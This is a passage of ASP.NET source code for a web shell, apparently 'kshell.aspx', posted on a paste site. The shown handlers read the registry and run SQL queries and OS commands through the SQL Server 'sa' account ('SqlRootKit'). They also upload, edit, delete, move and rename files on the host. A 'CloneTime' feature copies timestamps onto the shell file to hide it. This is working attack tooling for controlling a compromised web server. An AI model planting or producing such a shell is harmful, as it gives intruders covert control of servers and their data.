  1475.     <form runat="server">
  1476.     <p align=center >[ Registry Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1477.     Key:&nbsp;&nbsp;
  1478.     <asp:TextBox ID="txtRegKey" runat="server" style="width: 595px; border: 1px solid #084B8E">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br><br>
  1479.     Value:
  1480.     <asp:TextBox ID="txtRegValue" runat="server" style="border: 1px solid #084B8E">ComputerName</asp:TextBox>&nbsp;&nbsp;
  1481.     <asp:Button ID="btnReadReg" runat="server" Text="Run" OnClick="RegistryRead" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>  
  1482.     <p>
  1483.     <asp:Label ID="lblresultReg" runat="server" style="color: red"/>      
  1484.     </p>
  1485.     </form>
  1486. <%
  1487.     case "sqlman"
  1488. %>
  1489. <form runat="server">
  1490.   <p>[ MSSQL Query ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1491.   <p> Execute query with SQLServer account(<span class="style3">Notice: only click "Run" to run</span>)</p>
  1492.   <p>Host:
  1493.     <asp:TextBox ID="txtHost" runat="server" Width="300" class="TextBox" Text="127.0.0.1"/></p>
  1494.   <p>
  1495.   SQL Name:
  1496.     <asp:TextBox ID="txtSqlName" runat="server" Width="50" class="TextBox" Text='sa'/>
  1497.   SQL Password:
  1498.   <asp:TextBox ID="txtSqlPass" runat="server" Width="80" class="TextBox"/>
  1499.   </p>
  1500.   Command:
  1501.   <asp:TextBox ID="txtSqlcmd" runat="server" Width="500" class="TextBox" TextMode="MultiLine" Rows="6"/></br>
  1502.   <asp:Button ID="btnButtonSQL" runat="server" Text="Run" OnClick="RunSQLQUERY" class="buttom" Width="100"/>  
  1503.   <p>
  1504.    <asp:Label ID="lblresultSQL" runat="server" style="style2"/>      </p>
  1505. </form>
  1506. <%
  1507.     case "sqlrootkit"
  1508. %>
  1509. <form runat="server">
  1510.   <p>[ SqlRootKit.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1511.   <p> Execute command with SQLServer account(<span class="style3">Notice: only click "Run" to run</span>)</p>
  1512.   <p>Host:
  1513.     <asp:TextBox ID="ip" runat="server" Width="300" class="TextBox" Text="127.0.0.1"/></p>
  1514.   <p>
  1515.   SQL Name:
  1516.     <asp:TextBox ID="SqlName" runat="server" Width="50" class="TextBox" Text='sa'/>
  1517.   SQL Password:
  1518.   <asp:TextBox ID="SqlPass" runat="server" Width="80" class="TextBox"/>
  1519.   </p>
  1520.   Command:
  1521.   <asp:TextBox ID="Sqlcmd" runat="server" Width="300" class="TextBox"/>
  1522.   <asp:Button ID="ButtonSQL" runat="server" Text="Run" OnClick="RunSQLCMD" class="buttom"/>  
  1523.   <p>
  1524.    <asp:Label ID="resultSQL" runat="server" style="style2"/>      </p>
  1525. </form>
  1526. <%
  1527.     case "del"
  1528.         dim a as string
  1529.         a=request.QueryString("src")
  1530.         call existdir(a)
  1531.         call del(a)  
  1532.         response.Write("<script>alert(""Delete " & replace(a,"\","\\") & " Success!"");location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(a)) &"'</script>")
  1533.     case "copy"
  1534.         call existdir(request.QueryString("src"))
  1535.         session("cutboard")="" & request.QueryString("src")
  1536.         response.Write("<script>alert('File info have add the cutboard, go to target directory click paste!');location.href='JavaScript:self.close()';</script>")
  1537.     case "cut"
  1538.         call existdir(request.QueryString("src"))
  1539.         session("cutboard")="" & request.QueryString("src")
  1540.         response.Write("<script>alert('File info have add the cutboard, go to target directory click paste!');location.href='JavaScript:self.close()';</script>")
  1541.     case "paste"
  1542.         dim ow as integer
  1543.         if request.Form("OverWrite")<>"" then ow=1
  1544.         if request.Form("Cancel")<>"" then ow=2
  1545.         url=request.QueryString("src")
  1546.         call existdir(url)
  1547.         dim d as string
  1548.         d=session("cutboard")
  1549.         if left(d,1)="" then
  1550.             TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1551.             TEMP2=url & replace(path.getfilename(d),"","")
  1552.             if right(d,1)="\" then  
  1553.                 call xexistdir(TEMP1,ow)
  1554.                 directory.move(replace(d,"",""),TEMP1 & "\")  
  1555.                 response.Write("<script>alert('Cut  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP1 & "\","\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1556.             else
  1557.                 call xexistdir(TEMP2,ow)
  1558.                 file.move(replace(d,"",""),TEMP2)
  1559.                 response.Write("<script>alert('Cut  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP2,"\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1560.             end if
  1561.         else
  1562.             TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1563.             TEMP2=url & path.getfilename(replace(d,"",""))
  1564.             if right(d,1)="\" then
  1565.                 call xexistdir(TEMP1,ow)
  1566.                 directory.createdirectory(TEMP1)
  1567.                 call copydir(replace(d,"",""),TEMP1 & "\")
  1568.                 response.Write("<script>alert('Copy  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP1 & "\","\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1569.             else
  1570.                 call xexistdir(TEMP2,ow)
  1571.                 file.copy(replace(d,"",""),TEMP2)
  1572.                 response.Write("<script>alert('Copy  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP2,"\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1573.             end if
  1574.         end if
  1575.     case "upfile"
  1576.         url=request.QueryString("src")
  1577. %>
  1578. <form name="UpFileForm" enctype="multipart/form-data" method="post" action="?src=<%=server.UrlEncode(url)%>" runat="server"  onSubmit="return checkname();">
  1579. You will upload file to this directory : <span class="style3"><%=url%></span><br>
  1580. Please choose file from your computer :
  1581. <input name="upfile" type="file" class="TextBox" id="UpFile" runat="server">
  1582.    <input type="submit" id="UpFileSubit" value="Upload" runat="server" onserverclick="UpLoad" class="buttom">
  1583. </form>
  1584. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back </a>
  1585. <%
  1586.     case "new"
  1587.         url=request.QueryString("src")
  1588. %>
  1589. <form runat="server">
  1590.   <%=url%><br>
  1591.   Name:
  1592.   <asp:TextBox ID="NewName" TextMode="SingleLine" runat="server" class="TextBox"/>
  1593.   <br>
  1594.   <asp:RadioButton ID="NewFile" Text="File" runat="server" GroupName="New" Checked="true"/>
  1595.   <asp:RadioButton ID="NewDirectory" Text="Directory" runat="server"  GroupName="New"/>
  1596.   <br>
  1597.   <asp:Button ID="NewButton" Text="Submit" runat="server" CssClass="buttom"  OnClick="NewFD"/>  
  1598.   <input name="Src" type="hidden" value="<%=url%>">
  1599. </form>
  1600. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1601. <%
  1602.     case "edit"
  1603.         dim b as string
  1604.         b=request.QueryString("src")
  1605.         call existdir(b)
  1606.         dim myread as new streamreader(b,encoding.default)
  1607.         filepath.text=b
  1608.         content.text=myread.readtoend
  1609. %>
  1610. <form runat="server">
  1611.   <table width="100%"  border="1" align="center">
  1612.     <tr>      <td width="11%">Path</td>
  1613.       <td width="89%">
  1614.       <asp:TextBox CssClass="TextBox" ID="filepath" runat="server" Width="300"/>
  1615.       *</td>
  1616.     </tr>
  1617.     <tr>
  1618.       <td>Content</td>
  1619.       <td> <asp:TextBox ID="content" Rows="25" Columns="100" TextMode="MultiLine" runat="server" CssClass="TextBox"/></td>
  1620.     </tr>
  1621.     <tr>
  1622.       <td></td>
  1623.       <td> <asp:Button ID="a" Text="Sumbit" runat="server" OnClick="Editor" CssClass="buttom"/>        
  1624.       </td>
  1625.     </tr>
  1626.   </table>
  1627. </form>
  1628. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1629. <%
  1630.         myread.close
  1631.     case "rename"
  1632.         url=request.QueryString("src")
  1633.         if request.Form("name")="" then
  1634.     %>
  1635. <form name="formRn" method="post" action="?action=rename&src=<%=server.UrlEncode(request.QueryString("src"))%>" onSubmit="return checkname();">
  1636.   <p>You will rename <span class="style3"><%=request.QueryString("src")%></span>to: <%=getparentdir(request.QueryString("src"))%>
  1637.     <input type="text" name="name" class="TextBox">
  1638.     <input type="submit" name="Submit3" value="Submit" class="buttom">
  1639. </p>
  1640. </form>
  1641. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1642. <script language="javascript">
  1643. function checkname()
  1644. {
  1645. if(formRn.name.value==""){alert("You shall input filename :(");return false}
  1646. }
  1647. </script>
  1648.   <%
  1649.         else
  1650.             if Rename() then
  1651.                 response.Write("<script>alert('Rename " & replace(url,"\","\\") & " to " & replace(Getparentdir(url) & request.Form("name"),"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1652.             else
  1653.                 response.Write("<script>alert('Exist the same name file , rename fail :(');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1654.             end if
  1655.         end if
  1656.     case "samename"
  1657.         url=request.QueryString("src")
  1658. %>
  1659. <form name="form1" method="post" action="?action=paste&src=<%=server.UrlEncode(url)%>">
  1660. <p class="style3">Exist the same name file , can you overwrite ?(If you click &quot; no&quot; , it will auto add a number as prefix)</p>
  1661.  <input name="OverWrite" type="submit" id="OverWrite" value="Yes" class="buttom">
  1662. <input name="Cancel" type="submit" id="Cancel" value="No" class="buttom">
  1663. </form>
  1664. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1665.   <%
  1666.    case "clonetime"
  1667.         time1.Text=request.QueryString("src")&"kshell.aspx"
  1668.         time2.Text=request.QueryString("src")
  1669.     %>
  1670. <form runat="server">
  1671.  <p>[CloneTime for WebAdmin]<i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:history.back(1);">Back</a></i> </p>
  1672.  <p>A tool that it copy the file or directory's time to another file or directory </p>
  1673.   <p>Rework File or Dir:
  1674.     <asp:TextBox CssClass="TextBox" ID="time1" runat="server" Width="300"/></p>
  1675.   <p>Copied File or Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1676.     <asp:TextBox CssClass="TextBox" ID="time2" runat="server" Width="300"/></p>
  1677. <asp:Button ID="ButtonClone" Text="Submit" runat="server" CssClass="buttom" OnClick="CloneTime"/>
  1678. </form>
  1679. <p>
  1680.   <%
  1681.     case "logout"
  1682.         session.Abandon()
  1683.         response.Write("<script>alert(' Goodbye !');location.href='" & request.ServerVariables("URL") & "';</sc" & "ript>")
  1684.     end select
  1685. end if
  1686. Catch error_x
  1687.     response.Write("<font color=""red""><br>Wrong: </font>"&error_x.Message)
  1688. End Try
  1689. %>
  1690. </p>
  1691. </p>
  1692. <hr>
  1693. <script language="javascript">
  1694. function closewindow()
  1695. {self.close();}
  1696. </script>
  1697. </body>
  1698. </html>
Add Comment
Please, Sign In to add comment